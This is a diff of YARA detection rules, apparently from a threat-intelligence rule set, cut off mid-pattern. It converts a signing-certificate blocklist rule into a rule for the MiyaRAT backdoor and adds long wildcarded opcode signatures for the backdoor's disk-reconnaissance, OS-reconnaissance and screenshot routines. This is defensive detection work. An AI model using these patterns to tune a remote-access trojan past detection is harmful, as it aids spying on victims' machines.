quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "MiyaRAT" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F & A.TIM d.o.o." and ( pe.signatures [ i ] . serial == "00:ff:ff:2c:e8:62:37:8b:26:44:0d:f4:9c:a9:17:5b:70" or pe.signatures [ i ] . serial == "ff:ff:2c:e8:62:37:8b:26:44:0d:f4:9c:a9:17:5b:70" ) and 1576195200 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_3223B4616C2687C04865Bee8321726A8 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "089aae56-4f46-563c-800a-dbf57db2bde6" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5214-L5230" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fcb0a14866b3612c5ec5a7db7a3333e20a4605695b3d019eef84de85d7b3ea4d" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $get_disk_information_p1 = { + 48 8B C4 48 89 58 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 0F + 29 70 ?? 0F 29 78 ?? 44 0F 29 40 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? + ?? ?? 48 8B D9 48 89 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 45 33 ED 45 8B E5 44 + 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 89 84 24 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? + ?? ?? 0F 57 C9 F3 0F 7F 8C 24 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 85 F6 75 ?? 0F 57 C0 0F 11 03 4C 89 6B ?? 4C 89 6B ?? + 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? + ?? ?? 48 83 FA ?? 0F 86 ?? ?? ?? ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 + FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 + ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B0 ?? 48 BF ?? ?? ?? ?? ?? ?? ?? ?? F2 44 + 0F 10 05 ?? ?? ?? ?? 88 44 24 ?? 3C ?? 0F 8F ?? ?? ?? ?? 0F BE D0 8D 4A ?? 0F B6 C1 + 0F A3 C6 0F 83 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 + 44 24 ?? ?? ?? ?? ?? 0F B6 C2 88 44 24 ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 + ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 4C 89 AC + 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F 10 48 ?? + 0F 11 8C 24 ?? ?? ?? ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 41 83 CC ?? 44 + 89 64 24 ?? 48 8B 54 24 ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 + FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 + } + $get_disk_information_p2 = { + 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 48 0F 47 8C 24 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 8B D8 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 48 0F 47 8C 24 + ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? + ?? ?? ?? 48 0F 47 8C 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? + 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 + 44 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 0F 57 FF 48 85 C9 78 ?? F2 + 48 0F 2A F9 EB ?? 48 8B C1 48 D1 E8 83 E1 ?? 48 0B C1 F2 48 0F 2A F8 F2 0F 58 FF F2 + 41 0F 59 F8 48 8B 8C 24 ?? ?? ?? ?? 0F 57 F6 48 85 C9 78 ?? F2 48 0F 2A F1 EB ?? 48 + 8B C1 48 D1 E8 83 E1 ?? 48 0B C1 F2 48 0F 2A F0 F2 0F 58 F6 F2 41 0F 59 F0 33 D2 41 + B8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 90 4C 8D 8C 24 ?? ?? ?? ?? 49 FF C9 B8 ?? ?? ?? ?? F7 E3 C1 EA ?? 0F B6 C2 + C0 E0 ?? 8D 0C 10 02 C9 2A D9 80 C3 ?? 41 88 19 8B DA 85 D2 75 ?? 4C 8D 84 24 ?? ?? + ?? ?? 49 8B D1 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 83 CC ?? 44 89 64 24 ?? 48 + } + $get_disk_information_p3 = { + 8B B4 24 ?? ?? ?? ?? 48 8B C7 48 2B C6 48 83 F8 ?? 0F 82 ?? ?? ?? ?? 4C 8D BC 24 ?? + ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 4C 0F 47 BC 24 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 + ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 8D 76 ?? BF ?? ?? ?? + ?? 48 8D 9C 24 ?? ?? ?? ?? 4C 3B F7 0F 86 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 B8 ?? + ?? ?? ?? ?? ?? ?? ?? 48 3B F8 76 ?? 48 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 83 C0 + ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 58 ?? 48 83 E3 ?? 48 89 + 43 ?? EB ?? 48 83 FF ?? B8 ?? ?? ?? ?? 48 0F 42 F8 48 8D 4F ?? 48 85 C9 75 ?? 49 8B + DD EB ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? EB ?? E8 + ?? ?? ?? ?? 48 8B D8 48 89 9C 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? + ?? ?? ?? 4C 8B C6 49 8B D7 48 8B CB E8 ?? ?? ?? ?? 66 C7 04 33 ?? ?? 42 C6 04 33 ?? + 41 83 CC ?? 44 89 64 24 ?? 4C 8D 8C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 8C + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 0F BA EC ?? 44 89 64 24 ?? 41 B8 ?? ?? ?? ?? 48 8D + 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 + 6C 24 ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 44 24 ?? 0F 10 48 ?? 0F 11 4C 24 ?? + 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 41 0F BA EC ?? 44 89 64 24 ?? 48 8D 84 + 24 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 49 FF C0 42 80 3C 00 + } + $get_disk_information_p4 = { + 75 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? + ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? + ?? ?? 0F 10 48 ?? 0F 11 8C 24 ?? ?? ?? ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 + ?? 41 0F BA EC ?? 44 89 64 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 0F + 10 00 0F 11 44 24 ?? 0F 10 48 ?? 0F 11 4C 24 ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? + C6 00 ?? 41 83 CC ?? 44 89 64 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ?? ?? 48 0F 47 54 24 + ?? 4C 8B 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA + ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 + 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 6C + 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? + 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 + ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C + 89 AC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 + 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? + ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 44 24 ?? + ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B + } + $get_disk_information_p5 = { + C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 + ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF + C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 + ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 94 24 + ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? + ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 63 48 ?? 8B 84 0C ?? ?? ?? ?? 0F BA + F0 ?? 0F BA E8 ?? 89 84 0C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 63 51 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 03 CA 48 8B + 50 ?? FF 10 0F 28 CE 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 + 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 63 48 ?? 8B 84 0C ?? + ?? ?? ?? 0F BA F0 ?? 0F BA E8 ?? 89 84 0C ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 63 51 ?? 48 8D 8C 24 ?? ?? ?? ?? + 48 03 CA 48 8B 50 ?? FF 10 0F 28 CF 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 + ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F 57 C0 0F 11 44 24 ?? 4D 8B + CD 4C 89 6C 24 ?? 41 BA ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? C6 44 24 ?? ?? 41 0F BA + } + $get_disk_information_p6 = { + EC ?? 44 89 64 24 ?? 33 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 8B 8C 24 + ?? ?? ?? ?? 8B C1 24 ?? 3C ?? 74 ?? 48 8B 84 24 ?? ?? ?? ?? 4C 8B 00 4D 85 C0 74 ?? + 48 8B 84 24 ?? ?? ?? ?? 48 8B 10 4C 3B 84 24 ?? ?? ?? ?? 4C 0F 42 84 24 ?? ?? ?? ?? + 4C 2B C2 EB ?? F6 C1 ?? 75 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 08 48 85 C9 74 ?? 48 8B + 84 24 ?? ?? ?? ?? 48 8B 10 48 8B 84 24 ?? ?? ?? ?? 4C 63 00 4C 2B C2 4C 03 C1 EB ?? + 4C 8B 84 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8D 4C 24 ?? E8 ?? + ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 0F BA F4 ?? 41 83 CC ?? 44 89 64 + 24 ?? 48 8D 54 24 ?? 49 83 FA ?? 48 0F 47 54 24 ?? 4D 8B C1 48 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? + 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 + 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 BF ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 + 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 + 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? + ?? 0F B6 44 24 ?? FE C0 8B B4 24 + } + $get_os_information_p1 = { + 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? + ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B F9 48 89 4C 24 ?? + 33 F6 89 74 24 ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F + 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F + 84 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? 48 8D 4C 24 ?? FF D3 85 C0 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 48 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 8B 54 24 ?? + E8 ?? ?? ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 44 + 24 ?? 45 33 C9 45 33 C0 8B 54 24 ?? 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 54 24 ?? 48 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 8B 54 24 ?? E8 ?? ?? + ?? ?? 48 8B C8 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 8D 54 24 ?? EB ?? 48 + } + $get_os_information_p2 = { + 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 0F 57 C0 0F 11 07 48 89 77 + ?? 48 C7 47 ?? ?? ?? ?? ?? 66 89 37 C7 44 24 ?? ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 8B + C1 24 ?? 3C ?? 74 ?? 48 8B 85 ?? ?? ?? ?? 48 8B 10 48 85 D2 74 ?? 48 8B 85 ?? ?? ?? + ?? 4C 8B 08 48 3B 95 ?? ?? ?? ?? 48 0F 42 95 ?? ?? ?? ?? 49 2B D1 EB ?? F6 C1 ?? 75 + ?? 48 8B 85 ?? ?? ?? ?? 48 8B 08 48 85 C9 74 ?? 48 8B 85 ?? ?? ?? ?? 4C 8B 08 48 8B + 85 ?? ?? ?? ?? 48 63 10 48 03 D2 49 2B D1 48 03 D1 49 8B C1 48 D1 FA 48 85 C0 74 ?? + 48 8B CF 48 83 FA ?? 77 ?? 48 89 57 ?? 48 8D 1C 12 4C 8B C3 49 8B D1 E8 ?? ?? ?? ?? + 66 89 34 3B EB ?? E8 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C7 48 + 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B + 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 + } + $take_screenshot_p1 = { + 48 89 5C 24 ?? 48 89 74 24 ?? 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B + 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 8B FA 33 DB 48 8B 05 ?? ?? ?? ?? 48 + 89 84 24 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? 4C 8B F8 48 89 84 24 ?? ?? ?? ?? 48 8B + C8 FF 15 ?? ?? ?? ?? 48 8B F0 48 89 44 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 41 BC + ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 FF 15 ?? + ?? ?? ?? 85 C0 74 ?? 44 8B A4 24 ?? ?? ?? ?? 44 8B AC 24 ?? ?? ?? ?? 45 8B C5 41 8B + D4 49 8B CF FF 15 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 48 89 84 24 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 89 5C 24 ?? 4C 89 7C 24 ?? 44 89 6C 24 ?? + 45 8B CC 45 33 C0 33 D2 48 8B CE FF 15 ?? ?? ?? ?? 8B CF 41 0F AF CC B8 ?? ?? ?? ?? + F7 E9 44 8B F2 41 D1 FE 41 8B CE C1 E9 ?? 44 03 F1 41 0F AF FD B8 ?? ?? ?? ?? F7 EF + 8B F2 D1 FE 8B C6 C1 E8 ?? 03 F0 44 8B C6 41 8B D6 49 8B CF FF 15 ?? ?? ?? ?? 4C 8B + F8 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 49 8B D7 48 8B C8 FF 15 ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 44 89 64 24 ?? 89 5C 24 ?? 89 5C 24 ?? + 48 8B 44 24 ?? 48 89 44 24 ?? 89 74 24 ?? 45 8B CE 45 33 C0 33 D2 48 8B CF FF 15 ?? + ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? + ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 + 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 89 9C 24 ?? + ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 8D 48 ?? FF 15 ?? ?? ?? + ?? FF 47 ?? 48 8D 4F ?? FF 15 ?? ?? ?? ?? 90 4C 89 BC 24 ?? ?? ?? ?? 4C 8D 84 24 ?? + ?? ?? ?? BA ?? ?? ?? ?? 49 8B CF FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? C6 84 + } + $take_screenshot_p2 = { + 24 ?? ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? + 45 8B C8 41 F7 D9 45 0F 48 C8 44 89 8C 24 ?? ?? ?? ?? 0F B7 84 24 ?? ?? ?? ?? 89 84 + 24 ?? ?? ?? ?? 0F AF C1 83 C0 ?? 99 83 E2 ?? 03 C2 C1 F8 ?? C1 E0 ?? 89 84 24 ?? ?? + ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 45 85 C0 7E ?? 41 8D 49 ?? 0F + AF C8 48 63 D1 49 03 D2 48 89 94 24 ?? ?? ?? ?? F7 D8 89 84 24 ?? ?? ?? ?? EB ?? C6 + 84 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? + 89 84 24 ?? ?? ?? ?? 0F B7 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 9C 24 ?? ?? ?? + ?? 48 89 9C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? + 48 89 9C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? + ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? + ?? ?? 48 8B 01 45 33 C0 48 8D 94 24 ?? ?? ?? ?? FF 50 ?? 44 8B A4 24 ?? ?? ?? ?? 48 + 8B 8C 24 ?? ?? ?? ?? 48 8B 01 45 33 C9 45 33 C0 48 8B D3 FF 50 ?? 41 8B CC E8 ?? ?? + ?? ?? 4C 8B E8 89 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 01 4C 8D 8C 24 ?? + ?? ?? ?? 45 8B C4 49 8B D5 FF 50 ?? 4C 8D 8C 24 ?? ?? ?? ?? 45 8B C4 0F 1F 40 ?? 66 + 0F 1F 84 00 ?? ?? 00 00 49 FF C9 B8 ?? ?? ?? ?? 41 F7 E0 C1 EA ?? 0F B6 C2 C0 E0 ?? + 8D 0C 10 02 C9 44 2A C1 41 80 C0 ?? 45 88 01 44 8B C2 85 D2 75 ?? 4C 8D 84 24 ?? ?? + ?? ?? 49 8B D1 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 8B 44 24 ?? 48 8B 8C 24 ?? ?? ?? + ?? 48 8B C1 49 2B C0 4C 8D 35 ?? ?? ?? ?? 48 83 F8 ?? 0F 82 ?? ?? ?? ?? 49 8D 40 ?? + 48 89 44 24 ?? 48 8D 7C 24 ?? 48 83 F9 ?? 48 0F 47 7C 24 ?? 48 8D 05 ?? ?? ?? ?? 48 + 3B C7 76 ?? 4A 8D 04 07 4C 3B F0 77 ?? BE ?? ?? ?? ?? 49 3B FE 77 ?? 4C 8B FB EB + } + $take_screenshot_p3 = { + 4C 8B FF 4D 2B FE EB ?? BE ?? ?? ?? ?? 44 8B FE 48 8D 4F ?? 49 FF C0 48 8B D7 E8 ?? + ?? ?? ?? 4D 8B C7 49 8B D6 48 8B CF E8 ?? ?? ?? ?? 4A 8D 0C 3F 49 2B F7 49 8D 56 ?? + 49 03 D7 4C 8B C6 E8 ?? ?? ?? ?? 48 8D 44 24 ?? EB ?? BE ?? ?? ?? ?? 48 89 74 24 ?? + 4C 89 74 24 ?? 8B D6 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? + 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F + 10 48 ?? 0F 11 8C 24 ?? ?? ?? ?? 48 89 58 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 48 8B + 94 24 ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? + ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 44 24 ?? ?? + 48 8D 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C3 4C 8B 8C 24 + ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 4D 85 C9 0F 84 ?? ?? ?? + ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 + 0F BE 0C 01 81 F9 ?? ?? ?? ?? 73 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 + 80 3C 01 ?? 74 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 80 3C 01 ?? 74 ?? + 48 8D 8C 24 ?? ?? ?? ?? 48 83 FA ?? 49 0F 47 C8 48 8D 94 24 ?? ?? ?? ?? 48 83 BC 24 + ?? ?? ?? ?? ?? 48 0F 47 94 24 ?? ?? ?? ?? 0F B6 0C 01 80 F1 ?? 88 0C 02 48 8B 94 24 + ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 FF C0 49 3B C1 0F 82 + ?? ?? ?? ?? 48 83 FA ?? 76 ?? 48 FF C2 49 8B C0 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 + ?? 4D 8B 40 ?? 49 2B C0 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? 49 8B C8 E8 ?? ?? + ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 